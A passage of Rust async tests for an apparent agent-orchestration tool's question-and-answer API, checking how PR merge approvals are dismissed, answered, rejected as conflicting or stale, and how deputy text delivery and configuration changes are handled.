12660            };
12661            if owner == "later" {
12662                task.runs.push("later-run".into());
12663            }
12664            if owner != "missing" {
12665                fx.queue().put(&mut task).unwrap();
12666            }
12667            let ui = Arc::new(Ui::new(
12668                fx.queue(),
12669                fx.questions(),
12670                fx.talks(),
12671                fx.runs(),
12672                fx.home.path().into(),
12673                state.repo.clone(),
12674            ));
12675            let response = question_answer(
12676                State(ui),
12677                Path(q.id.clone()),
12678                Ok(Json(NewAnswer {
12679                    choice: Some(crate::merge_decision::DISMISS.into()),
12680                    text: None,
12681                    ..Default::default()
12682                })),
12683            )
12684            .await
12685            .unwrap();
12686            assert_eq!(
12687                response.0.question.resolution().as_deref(),
12688                Some(crate::merge_decision::DISMISS)
12689            );
12690            let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
12691            assert_eq!(disk.status, RunStatus::Superseded);
12692            assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
12693            assert!(!crate::merge_decision::resumable_hold(&disk));
12694            assert_eq!(
12695                serde_json::to_value(&disk.pr).unwrap(),
12696                serde_json::to_value(&stale.pr).unwrap()
12697            );
12698            assert_eq!(fx.questions().count_open(), 0);
12699            assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
12700            crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12701            if owner == "missing" {
12702                assert!(fx.queue().list().is_empty());
12703            } else {
12704                let after = fx.queue().get(&task.id).unwrap();
12705                assert_eq!(
12706                    after.status,
12707                    if owner == "current" {
12708                        TaskStatus::Done
12709                    } else {
12710                        task.status
12711                    }
12712                );
12713                assert_eq!(after.runs, task.runs);
12714                assert_eq!(after.instruction, task.instruction);
12715                assert_eq!(after.action_applied(&q.id), owner == "current");
12716            }
12717        }
12718    }
12719
12720    #[tokio::test]
12721    async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
12722        let fx = Fixture::start().await;
12723        let mut state = obsolete_approval_state();
12724        state.status = RunStatus::Landing;
12725        state.parked = true;
12726        state.driver_exited = true;
12727        let mut q = Question::new(
12728            state.id.clone(),
12729            crate::land::APPROVAL_NODE.into(),
12730            "land".into(),
12731            "Superseded PR approval".into(),
12732            "Original review evidence".into(),
12733            vec!["merge".into(), "hold".into()],
12734        );
12735        state.land_approval = Some(crate::run::LandApproval {
12736            question: q.id.clone(),
12737            head: "old-reviewed-head".into(),
12738        });
12739        // The old persisted PR may still say open even when a separate change
12740        // already landed. Dismissal must not use that snapshot to close it.
12741        state.save_under(fx.home.path()).unwrap();
12742        let stale_driver = state.clone();
12743        fx.questions().put(&mut q).unwrap();
12744        let path = fx
12745            .home
12746            .path()
12747            .join("questions")
12748            .join(format!("{}.json", q.id));
12749        let mut legacy = serde_json::to_value(&q).unwrap();
12750        legacy["schema"] = 9.into();
12751        legacy.as_object_mut().unwrap().remove("merge_target");
12752        std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
12753
12754        // POST without GET tests legacy upgrade and validation at the actual
12755        // entry point, rather than constructing a modern card in the test.
12756        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12757        let answer_path = format!("/api/questions/{}/answer", q.id);
12758        let res = fx.post(&answer_path, Some(&body)).await;
12759        assert_eq!(res.status, 200, "{}", res.body);
12760        let disk = fx.questions().get(&q.id).unwrap();
12761        assert_eq!(
12762            disk.resolution().as_deref(),
12763            Some(crate::merge_decision::DISMISS)
12764        );
12765        assert!(disk.detail.starts_with("Original review evidence"));
12766        let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
12767        assert_eq!(retired.status, RunStatus::Superseded);
12768        assert_eq!(
12769            serde_json::to_value(&retired.pr).unwrap(),
12770            serde_json::to_value(&state.pr).unwrap()
12771        );
12772        assert!(!retired.merge_decision.as_ref().unwrap().closed);
12773        assert!(!crate::merge_decision::resumable_hold(&retired));
12774        assert!(fx.queue().list().is_empty());
12775        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12776        // A restarted server re-reads the persisted pending list.
12777        let addr = Fixture::serve(
12778            fx.home.path(),
12779            PathBuf::from("/repo/magi"),
12780            launch_idle,
12781            None,
12782        )
12783        .await;
12784        let reconnected = Fixture {
12785            home: fx.home,
12786            addr,
12787        };
12788        let listed = reconnected.get("/api/questions").await.json();
12789        assert!(
12790            listed
12791                .as_array()
12792                .unwrap()
12793                .iter()
12794                .all(|q| q["status"] != "open")
12795        );
12796        assert_eq!(listed[0]["id"], q.id, "history remains available");
12797        assert_eq!(
12798            reconnected.get("/api/health").await.json()["questions_open"],
12799            0
12800        );
12801        assert_eq!(
12802            reconnected
12803                .post(&answer_path, Some(r#"{"choice":"merge"}"#))
12804                .await
12805                .status,
12806            409
12807        );
12808        // A late waiter cannot turn the old answer into a new decision.
12809        assert!(
12810            reconnected
12811                .questions()
12812                .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
12813                .is_err()
12814        );
12815        // The same guard used by claims, repair and publication rejects a
12816        // saved in-memory driver as well as the persisted terminal record.
12817        assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
12818    }
12819
12820    #[tokio::test]
12821    async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
12822        let fx = Fixture::start().await;
12823        let mut state = obsolete_approval_state();
12824        state.status = RunStatus::Landing;
12825        state.driver_exited = true;
12826        let mut q = Question::new(
12827            state.id.clone(),
12828            crate::land::APPROVAL_NODE.into(),
12829            "land".into(),
12830            "Obsolete approval".into(),
12831            String::new(),
12832            vec!["merge".into(), "hold".into()],
12833        );
12834        state.land_approval = Some(crate::run::LandApproval {
12835            question: q.id.clone(),
12836            head: "head".into(),
12837        });
12838        state.save_under(fx.home.path()).unwrap();
12839        fx.questions().put(&mut q).unwrap();
12840        let mut task = Task::new(
12841            "Owner".into(),
12842            "Original instruction".into(),
12843            state.repo.clone(),
12844            Source::Human,
12845        );
12846        task.runs = vec![state.id.clone(), "later-run".into()];
12847        fx.queue().put(&mut task).unwrap();
12848        let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
12849        let claim = fx.queue().claim(&task.id).unwrap();
12850        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12851        let path = format!("/api/questions/{}/answer", q.id);
12852        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12853        assert!(fx.questions().get(&q.id).unwrap().status.open());
12854        drop(claim);
12855        let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
12856        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12857        assert!(fx.questions().get(&q.id).unwrap().status.open());
12858        drop(publication);
12859        // Unknown liveness and armed auto-merge both fail without settling.
12860        state.driver_exited = false;
12861        state.driver_pid = None;
12862        state.driver_claimed = None; // No durable proof of an unstarted execution.
12863        state.save_under(fx.home.path()).unwrap();
12864        assert_eq!(
12865            state.liveness_under(fx.home.path(), false),
12866            crate::run::Liveness::Unknown
12867        );
12868
12869        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12870        state.driver_exited = true;
12871        state.land_armed_head = Some("head".into());
12872        state.save_under(fx.home.path()).unwrap();
12873        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12874        state.land_armed_head = None;
12875        state.save_under(fx.home.path()).unwrap();
12876        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
12877        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12878        assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
12879    }
12880
12881    #[tokio::test]
12882    async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
12883        let fx = Fixture::start().await;
12884        let mut state = obsolete_approval_state();
12885        state.status = RunStatus::Landing;
12886        state.driver_exited = true;
12887        let mut q = Question::new(
12888            state.id.clone(),
12889            crate::land::APPROVAL_NODE.into(),
12890            "land".into(),
12891            "Obsolete approval".into(),
12892            String::new(),
12893            vec!["merge".into(), "hold".into()],
12894        );
12895        state.land_approval = Some(crate::run::LandApproval {
12896            question: q.id.clone(),
12897            head: "head".into(),
12898        });
12899        state.save_under(fx.home.path()).unwrap();
12900        fx.questions().put(&mut q).unwrap();
12901        let mut task = Task::new(
12902            "Owner".into(),
12903            "Original instruction".into(),
12904            state.repo.clone(),
12905            Source::Human,
12906        );
12907        task.runs.push(state.id.clone());
12908        task.status = TaskStatus::Parked;
12909        fx.queue().put(&mut task).unwrap();
12910        // Model a crash after the run stop was persisted but before the queue
12911        // and answered question were flushed. Retrying must finish, not resume.
12912        state.merge_decision = Some(crate::merge_decision::Decision {
12913            question: q.id.clone(),
12914            target: crate::merge_decision::Target {
12915                pr: state.pr.as_ref().unwrap().url.clone(),
12916                head: "head".into(),
12917                language: "ja".into(),
12918            },
12919            choice: crate::merge_decision::DISMISS.into(),
12920            closed: false,
12921            replacement_run: None,
12922            replacement_pr: None,
12923        });
12924        state.status = RunStatus::Superseded;
12925        state.save_under(fx.home.path()).unwrap();
12926        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12927        let path = format!("/api/questions/{}/answer", q.id);
12928        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
12929        let done = fx.queue().get(&task.id).unwrap();
12930        assert_eq!(done.status, TaskStatus::Done);
12931        assert_eq!(done.runs, task.runs);
12932        assert_eq!(done.instruction, task.instruction);
12933        assert!(done.action_applied(&q.id));
12934        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12935        assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
12936        assert!(!fx.questions().get(&q.id).unwrap().status.open());
12937    }
12938
12939    #[tokio::test]
12940    async fn task_chat_merge_accepts_direct_decisions_and_checks_optional_buttons() {
12941        let home = TempDir::new().unwrap();
12942        let ui = Arc::new(Ui::new(
12943            Queue::at(home.path().join("queue")),
12944            Questions::at(home.path().join("questions")),
12945            Talks::at(home.path().join("talks")),
12946            home.path().join("runs"),
12947            home.path().to_owned(),
12948            home.path().to_owned(),
12949        ));
12950        let talks = &ui.talks;
12951        let chat =
12952            talk::begin(talks, &stub_config(), home.path().to_owned(), Some("stub")).unwrap();
12953        let mut q = Question::new(
12954            "run".into(),
12955            crate::land::APPROVAL_NODE.into(),
12956            "land".into(),
12957            "Merge?".into(),
12958            String::new(),
12959            vec!["merge".into(), "hold".into()],
12960        );
12961        q.routed_task = Some("task".into());
12962        q.routed_chat = Some(chat.id.clone());
12963        q.merge_target = Some(crate::merge_decision::Target {
12964            pr: "https://example.test/pull/1".into(),
12965            head: "head-a".into(),
12966            language: "en".into(),
12967        });
12968        ui.questions.put(&mut q).unwrap();
12969        let send = |body| {
12970            question_answer(
12971                State(ui.clone()),
12972                Path(q.id.clone()),
12973                Ok(Json(serde_json::from_value::<NewAnswer>(body).unwrap())),
12974            )
12975        };
12976        let button = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"head-a"});
12977        assert!(send(serde_json::json!({"text":"merge"})).await.is_err());
12978        let wrong_chat = serde_json::json!({"choice":"merge", "talk":"other", "head":"head-a"});
12979        assert!(send(wrong_chat).await.is_err());
12980        let stale = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"old-head"});
12981        assert!(send(stale).await.is_err());
12982        assert!(ui.questions.get(&q.id).unwrap().status.open());
12983        assert!(send(button.clone()).await.is_ok());
12984        assert_eq!(
12985            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12986            Some("merge")
12987        );
12988        assert!(send(button).await.is_err());
12989    }
12990
12991    #[tokio::test]
12992    async fn routed_approvals_accept_merge_and_hold_without_chat_buttons() {
12993        let home = TempDir::new().unwrap();
12994        let ui = Arc::new(Ui::new(
12995            Queue::at(home.path().join("queue")),
12996            Questions::at(home.path().join("questions")),
12997            Talks::at(home.path().join("talks")),
12998            home.path().join("runs"),
12999            home.path().to_owned(),
13000            home.path().to_owned(),
13001        ));
13002        for choice in [crate::land::APPROVE, crate::land::HOLD] {
13003            let mut q = Question::new(
13004                "run".into(),
13005                crate::land::APPROVAL_NODE.into(),
13006                "land".into(),
13007                "Merge?".into(),
13008                String::new(),
13009                vec!["merge".into(), choice.into()],
13010            );
13011            q.routed_task = Some("task".into());
13012            q.merge_target = Some(crate::merge_decision::Target {
13013                pr: "https://example.test/pull/1".into(),
13014                head: "head-a".into(),
13015                language: "en".into(),
13016            });
13017            ui.questions.put(&mut q).unwrap();
13018            let answer = |c: &str| {
13019                question_answer(
13020                    State(ui.clone()),
13021                    Path(q.id.clone()),
13022                    Ok(Json(
13023                        serde_json::from_value::<NewAnswer>(serde_json::json!({ "choice": c }))
13024                            .unwrap(),
13025                    )),
13026                )
13027            };
13028            let _ = answer(choice).await.unwrap();
13029            assert_eq!(
13030                ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13031                Some(choice)
13032            );
13033        }
13034    }
13035
13036    #[tokio::test]
13037    async fn a_routed_decision_records_a_plain_answer_on_the_question_route() {
13038        let home = TempDir::new().unwrap();
13039        let ui = Arc::new(Ui::new(
13040            Queue::at(home.path().join("queue")),
13041            Questions::at(home.path().join("questions")),
13042            Talks::at(home.path().join("talks")),
13043            home.path().join("runs"),
13044            home.path().to_owned(),
13045            home.path().to_owned(),
13046        ));
13047        let mut q = Question::new(
13048            "run".into(),
13049            crate::github_text::ASK_NODE.into(),
13050            "posting-gate".into(),
13051            "Post?".into(),
13052            String::new(),
13053            vec!["use fallback".into()],
13054        );
13055        q.routed_task = Some("task".into());
13056        ui.questions.put(&mut q).unwrap();
13057        let sent = question_answer(
13058            State(ui.clone()),
13059            Path(q.id.clone()),
13060            Ok(Json(
13061                serde_json::from_value::<NewAnswer>(serde_json::json!({"choice":"use fallback"}))
13062                    .unwrap(),
13063            )),
13064        )
13065        .await;
13066        let _ = sent.unwrap();
13067        assert_eq!(
13068            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13069            Some("use fallback")
13070        );
13071    }
13072
13073    #[tokio::test]
13074    async fn merge_decision_api_persists_exact_target_and_selected_action() {
13075        let fx = Fixture {
13076            home: TempDir::new().unwrap(),
13077            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
13078        };
13079        for choice in [
13080            crate::land::HOLD,
13081            crate::land::REPAIR,
13082            crate::land::APPROVE,
13083            crate::merge_decision::WITHDRAW,
13084            "reimplement:beta",
13085        ] {
13086            let mut q = Question::new(
13087                "old-run".into(),
13088                crate::land::APPROVAL_NODE.into(),
13089                "land".into(),
13090                "Decision".into(),
13091                "Review findings".into(),
13092                vec![
13093                    "merge".into(),
13094                    "hold".into(),
13095                    crate::land::REPAIR.into(),
13096                    crate::merge_decision::WITHDRAW.into(),
13097                    "reimplement:beta".into(),
13098                ],
13099            );
13100            q.merge_target = Some(crate::merge_decision::Target {
13101                pr: "https://github.com/example/repo/pull/42".into(),
13102                head: "exact-reviewed-head".into(),
13103                language: "ja".into(),
13104            });
13105            q.consult = Some(ask::ChatConsult {
13106                talk: "another-conversation".into(),
13107                at: jiff::Timestamp::now(),
13108            });
13109            fx.questions().put(&mut q).unwrap();
13110            let ui = Arc::new(Ui::new(
13111                fx.queue(),
13112                fx.questions(),
13113                fx.talks(),
13114                fx.runs(),
13115                fx.home.path().into(),
13116                std::path::PathBuf::from("."),
13117            ));
13118            let response = question_answer(
13119                State(ui.clone()),
13120                Path(q.id.clone()),
13121                Ok(Json(NewAnswer {
13122                    choice: Some(choice.into()),
13123                    text: None,
13124                    ..Default::default()
13125                })),
13126            )
13127            .await
13128            .unwrap();
13129            assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
13130            let disk = fx.questions().get(&q.id).unwrap();
13131            assert_eq!(disk.merge_target, q.merge_target);
13132            assert_eq!(disk.consult, q.consult);
13133            assert_eq!(disk.resolution().as_deref(), Some(choice));
13134            assert!(
13135                question_answer(
13136                    State(ui),
13137                    Path(q.id.clone()),
13138                    Ok(Json(NewAnswer {
13139                        choice: Some("merge".into()),
13140                        text: None,
13141                        ..Default::default()
13142                    }))
13143                )
13144                .await
13145                .is_err(),
13146                "an already settled decision cannot turn into merge approval"
13147            );
13148        }
13149    }
13150
13151    #[tokio::test]
13152    async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
13153        let fx = Fixture {
13154            home: TempDir::new().unwrap(),
13155            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
13156        };
13157        let mut state = crate::land::tests::repair_state(true, true);
13158        state.status = RunStatus::Landing;
13159        state.parked = true;
13160        state.driver_exited = true;
13161        let mut task = Task::new(
13162            "Existing PR owner".into(),
13163            state.instruction.clone(),
13164            state.repo.clone(),
13165            Source::Human,
13166        );
13167        task.runs.push(state.id.clone());
13168        task.status = TaskStatus::Parked;
13169        fx.queue().put(&mut task).unwrap();
13170        let mut q = Question::new(
13171            state.id.clone(),
13172            crate::land::APPROVAL_NODE.into(),
13173            "land".into(),
13174            "Contested merge".into(),
13175            "Original evidence".into(),
13176            vec!["merge".into(), "hold".into()],
13177        );
13178        state.land_approval = Some(crate::run::LandApproval {
13179            question: q.id.clone(),
13180            head: "reviewed-head".into(),
13181        });
13182        state.save_under(fx.home.path()).unwrap();
13183        fx.questions().put(&mut q).unwrap();
13184        // A later repair answer on this old card supersedes this manual hold.
13185        task.hold_manual(Some("Pause this PR".into()));
13186        fx.queue().put(&mut task).unwrap();
13187        // POST directly, without a preceding GET: validation must see the
13188        // same durable upgrade that the card, CLI and chat see.
13189        let ui = Arc::new(Ui::new(
13190            fx.queue(),
13191            fx.questions(),
13192            fx.talks(),
13193            fx.runs(),
13194            fx.home.path().to_path_buf(),
13195            state.repo.clone(),
13196        ));
13197        let response = question_answer(
13198            State(ui),
13199            Path(q.id.clone()),
13200            Ok(Json(NewAnswer {
13201                choice: Some(crate::land::REPAIR.into()),
13202                text: None,
13203                ..Default::default()
13204            })),
13205        )
13206        .await
13207        .unwrap();
13208        assert_eq!(response.0.question.id, q.id);
13209        let upgraded = fx.questions().get(&q.id).unwrap();
13210        assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
13211        assert!(upgraded.detail.starts_with("Original evidence"));
13212        let claim = fx.queue().claim(&task.id).unwrap();
13213        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13214        assert!(
13215            fx.queue().get(&task.id).unwrap().resume_override.is_none(),
13216            "an existing driver keeps its claim"
13217        );
13218        drop(claim);
13219        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13220        let resumed = fx.queue().get(&task.id).unwrap();
13221        assert_eq!(
13222            resumed
13223                .resume_override
13224                .as_ref()
13225                .unwrap()
13226                .pinned_run
13227                .as_deref(),
13228            Some(state.id.as_str())
13229        );
13230        assert!(resumed.status.runnable());
13231        assert_eq!(resumed.instruction, task.instruction);
13232        assert_eq!(resumed.runs, task.runs);
13233        assert!(resumed.action_applied(&q.id));
13234        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13235        assert_eq!(fx.queue().list().len(), 1);
13236        assert_eq!(
13237            fx.queue().get(&task.id).unwrap().resume_override,
13238            resumed.resume_override
13239        );
13240        let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
13241        assert!(
13242            disk.merge_repairs.is_empty(),
13243            "only the claimed run driver may execute repair"
13244        );
13245        assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
13246    }
13247
13248    #[tokio::test]
13249    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
13250        let fx = Fixture::start().await;
13251        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13252        let path = format!("/api/questions/{id}/answer");
13253
13254        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
13255        assert_eq!(res.status, 200, "{}", res.body);
13256        let body = res.json();
13257        assert_eq!(body["status"], "answered");
13258        assert_eq!(body["answer"]["choice"], "Redis");
13259
13260        // Answered from the terminal in between the list and the tap: the UI
13261        // must be able to tell this from a bad request, so it can show the
13262        // recorded answer instead of an error.
13263        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
13264        assert_eq!(again.status, 409, "{}", again.body);
13265        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
13266    }
13267
13268    #[tokio::test]
13269    async fn fresh_api_answers_survive_task_inquiry_migration() {
13270        use crate::{ask::ChoiceAction, task_decision::Status, task_inquiry::Outbox};
13271        for migrate_first in [false, true] {
13272            let fx = Fixture::start().await;
13273            let mut task = Task::new(
13274                "work".into(),
13275                "work".into(),
13276                PathBuf::from("/repo/magi"),
13277                Source::Human,
13278            );
13279            task.runs.push("run-a".into());
13280            fx.queue().put(&mut task).unwrap();
13281            let mut q = Question::new(
13282                "run-a".into(),
13283                "implement".into(),
13284                "impl-A".into(),
13285                "Keep held?".into(),
13286                String::new(),
13287                vec!["hold".into()],
13288            );
13289            q.actions.insert("hold".into(), ChoiceAction::Hold);
13290            fx.questions().put(&mut q).unwrap();
13291            if migrate_first {
13292                crate::task_chat::sweep(&fx.queue(), &fx.talks(), &fx.questions(), fx.home.path());
13293            }
13294            let response = fx
13295                .post(
13296                    &format!("/api/questions/{}/answer", q.id),
13297                    Some(r#"{"choice":"hold"}"#),
13298                )
13299                .await;
13300            assert_eq!(response.status, 200, "{}", response.body);
13301            for _ in 0..2 {
13302                crate::task_chat::sweep(&fx.queue(), &fx.talks(), &fx.questions(), fx.home.path());
13303                let source = fx.questions().get(&q.id).unwrap();
13304                assert_eq!(source.resolution().as_deref(), Some("hold"));
13305                let decision = Outbox::at(fx.home.path())
13306                    .get(&q.id)
13307                    .unwrap()
13308                    .decision
13309                    .unwrap();
13310                assert_eq!(decision.request.as_deref(), Some("decision: hold"));
13311                assert_eq!(decision.source_answer_at, source.answered_at);
13312                assert_eq!(decision.status, Status::Queued);
13313            }
13314            assert_eq!(
13315                fx.post(
13316                    &format!("/api/questions/{}/answer", q.id),
13317                    Some(r#"{"choice":"hold"}"#)
13318                )
13319                .await
13320                .status,
13321                409
13322            );
13323        }
13324    }
13325
13326    #[tokio::test]
13327    async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
13328        let home = tempfile::tempdir().unwrap();
13329        let ui = delta_test_ui(home.path());
13330        let mut q = Question::new(
13331            "task".into(),
13332            crate::land::APPROVAL_NODE.into(),
13333            "land".into(),
13334            "Explain?".into(),
13335            String::new(),
13336            vec!["hold".into()],
13337        );
13338        q.deputy = Some(ask::Deputy::new("context".into()));
13339        ui.questions.put(&mut q).unwrap();
13340        let mut cfg = stub_config();
13341        cfg.daemon.max_deputies = 0;
13342        let mut status = crate::daemon::Status::new();
13343        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
13344        crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
13345        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
13346        let error = question_say(
13347            State(ui.clone()),
13348            Path(q.id.clone()),
13349            Ok(Json(NewSay {
13350                body: "Explain the findings".into(),
13351            })),
13352        )
13353        .await
13354        .unwrap_err();
13355        assert_eq!(
13356            error.text_reason,
13357            Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
13358        );
13359        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
13360
13361        let mut text = Question::new(
13362            "task".into(),
13363            "ask".into(),
13364            "operator".into(),
13365            "Which name?".into(),
13366            String::new(),
13367            vec![],
13368        );
13369        ui.questions.put(&mut text).unwrap();
13370        let Json(view) = question_answer(
13371            State(ui.clone()),
13372            Path(text.id.clone()),
13373            Ok(Json(NewAnswer {
13374                choice: None,
13375                text: Some("chosen name".into()),
13376                ..Default::default()
13377            })),
13378        )
13379        .await
13380        .unwrap();
13381        assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
13382        assert!(!ui.questions.get(&text.id).unwrap().status.open());
13383    }
13384
13385    #[tokio::test]
13386    async fn question_text_handler_admission_without_transport() {
13387        let home = tempfile::tempdir().unwrap();
13388        let ui = delta_test_ui(home.path());
13389        let mut q = Question::new(
13390            "task".into(),
13391            crate::land::APPROVAL_NODE.into(),
13392            "land".into(),
13393            "May this PR merge?".into(),
13394            String::new(),
13395            vec!["hold".into()],
13396        );
13397        q.deputy = Some(ask::Deputy::new("reviewed head".into()));
13398        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
13399        ui.questions.put(&mut q).unwrap();
13400        let say = || {
13401            Ok(Json(NewSay {
13402                body: "Explain the findings".into(),
13403            }))
13404        };
13405        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
13406            .await
13407            .unwrap_err();
13408        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
13409        let response = rejected.into_response();
13410        let body = axum::body::to_bytes(response.into_body(), usize::MAX)
13411            .await
13412            .unwrap();
13413        let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
13414        assert_eq!(body["code"], "question_text_unavailable");
13415        assert_eq!(body["reason"], "deputy_exhausted");
13416        assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
13417        assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
13418        ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
13419        let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
13420            .await
13421            .unwrap();
13422        assert_eq!(view.text_delivery.state, "live");
13423        assert!(view.question.waiter.is_none());
13424        assert!(view.question.cwd.is_none());
13425        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
13426        ui.questions.drop_lease(&q.id);
13427        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
13428            .await
13429            .unwrap_err();
13430        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
13431        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
13432        let _ = question_answer(
13433            State(ui.clone()),
13434            Path(q.id.clone()),
13435            Ok(Json(NewAnswer {
13436                choice: Some("hold".into()),
13437                text: None,
13438                ..Default::default()
13439            })),
13440        )
13441        .await
13442        .unwrap();
13443        assert_eq!(
13444            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13445            Some("hold")
13446        );
13447    }
13448
13449    #[tokio::test]
13450    async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
13451        let fx = Fixture::start().await;
13452        let store = fx.questions();
13453        let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
13454        store
13455            .update(&id, |q| {
13456                q.node = crate::land::APPROVAL_NODE.to_owned();
13457                q.deputy = Some(ask::Deputy::new("approval".to_owned()));
13458                q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
13459                Ok(())
13460            })
13461            .unwrap();
13462        let path = format!("/api/questions/{id}/say");
13463        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
13464        assert_eq!(refused.status, 422, "{}", refused.body);
13465        assert!(
13466            refused.json()["error"]
13467                .as_str()
13468                .unwrap()
13469                .contains("deputy_exhausted")
13470        );
13471        assert!(store.get(&id).unwrap().thread.is_empty());
13472
13473        // A final live deputy is usable even with no ordinary waiter/cwd.
13474        store.beat(&id, ask::WaiterKind::Deputy);
13475        let view = fx.get("/api/questions").await.json();
13476        assert_eq!(view[0]["text_delivery"]["state"], "live");
13477        let accepted = fx
13478            .post(&path, Some(r#"{"body":"explain the findings"}"#))
13479            .await;
13480        assert_eq!(accepted.status, 200, "{}", accepted.body);
13481        let before = std::fs::read(store.path_of(&id)).unwrap();
13482
13483        // The recipient exits between rendering and sending. Rejection must
13484        // preserve previously accepted text, the answer and delivery cursor.
13485        store.drop_lease(&id);
13486        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
13487        assert_eq!(refused.status, 422, "{}", refused.body);
13488        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
13489        let held = fx
13490            .post(
13491                &format!("/api/questions/{id}/answer"),
13492                Some(r#"{"choice":"hold"}"#),
13493            )
13494            .await;
13495        assert_eq!(held.status, 200, "{}", held.body);
13496        assert_eq!(store.get(&id).unwrap().thread.len(), 1);
13497    }
13498
13499    #[tokio::test]
13500    async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
13501        let repo = tempfile::tempdir().unwrap();
13502        let mut cfg = stub_config();
13503        cfg.daemon.max_deputies = 0;
13504        std::fs::write(
13505            repo.path().join("magi.toml"),
13506            toml::to_string(&cfg).unwrap(),
13507        )
13508        .unwrap();
13509        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
13510        let mut status = crate::daemon::Status::new();
13511        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
13512        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
13513        let id = ask(&fx, "Explain?", &["hold"]);
13514        fx.questions()
13515            .update(&id, |q| {
13516                q.node = crate::land::APPROVAL_NODE.into();
13517                q.deputy = Some(ask::Deputy::new("context".into()));
13518                q.deputy.as_mut().unwrap().agent = "stub".into();
13519                Ok(())
13520            })
13521            .unwrap();
13522        cfg.daemon.max_deputies = 1;
13523        std::fs::write(
13524            repo.path().join("magi.toml"),
13525            toml::to_string(&cfg).unwrap(),
13526        )
13527        .unwrap();
13528        let view = fx.get("/api/questions").await.json();
13529        assert_eq!(view[0]["deputies_enabled"], true);
13530        assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
13531        let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
13532        let res = fx
13533            .post(
13534                &format!("/api/questions/{id}/say"),
13535                Some(r#"{"body":"Please explain"}"#),
13536            )
13537            .await;
13538        assert_eq!(res.status, 422, "{}", res.body);
13539        assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
13540    }
13541
13542    #[tokio::test]
